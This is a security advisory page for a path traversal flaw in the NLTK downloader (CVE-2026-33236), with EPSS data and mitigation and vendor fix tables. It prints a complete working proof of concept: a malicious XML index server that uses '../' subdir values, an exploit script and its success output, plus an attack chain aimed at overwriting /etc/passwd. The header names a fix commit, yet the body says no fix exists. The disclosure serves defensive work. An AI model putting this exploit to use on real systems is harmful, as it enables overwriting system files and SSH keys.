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HIGH severity

GHSA-469j-vmhf-r6v7 — nltk

HIGHFix: nltk/nltk@89fe2ec

GHSA-469j-vmhf-r6v7 is a high-severity (CVSS 8.1) Path Traversal vulnerability in nltk. No vendor fix is recorded yet; mitigation options are listed below.

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Also known asCVE-2026-33236PYSEC-2026-2237
Published
Mar 19, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-469j-vmhf-r6v7.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-469j-vmhf-r6v7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

self.filename = os.path.join(subdir, id + ext)
  • subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

filepath = os.path.join(download_dir, info.filename)
  • Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
  • Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

with open(filepath, "wb") as outfile:
  • Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK
pip install nltk
  1. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

python3 malicious_server.py

Step 2: Run exploit script

python3 exploit_vulnerability.py

Step 3: Verify results

ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")
    
    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)
    
    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPInltkall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of nltk has shipped for GHSA-469j-vmhf-r6v7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-469j-vmhf-r6v7 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-469j-vmhf-r6v7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

IMPORTANT: This flaw in NLTK allows for arbitrary file and directory creation or overwrite due to a path traversal vulnerability in its downloader. An attacker controlling a malicious XML index server could exploit this by providing specially crafted `subdir` and `id` attributes. Red Hat products utilizing NLTK, such…

ProductFixed inAdvisory
Red Hat OpenShift AI 2.25rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1776243238RHSA-2026:10184
Red Hat OpenShift AI 2.25rhoai/odh-ta-lmes-job-rhel9:1783091175RHSA-2026:42644
Red Hat OpenShift AI 3.3rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1778262893RHSA-2026:19712
Red Hat OpenShift AI 3.3rhoai/odh-trustyai-nemo-guardrails-server-rhel9:1782471606RHSA-2026:37275

Frequently Asked Questions

## Vulnerability Description The NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to: 1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system 2. **Arbitrary File Creation**: Create arbitrary files 3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.) ## Vulnerability Principle ### Key
O3 Security · Impact-Aware SCA

Is GHSA-469j-vmhf-r6v7 in your dependencies?

O3 Security finds GHSA-469j-vmhf-r6v7 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-469j-vmhf-r6v7: nltk (High 8.1) | O3 Security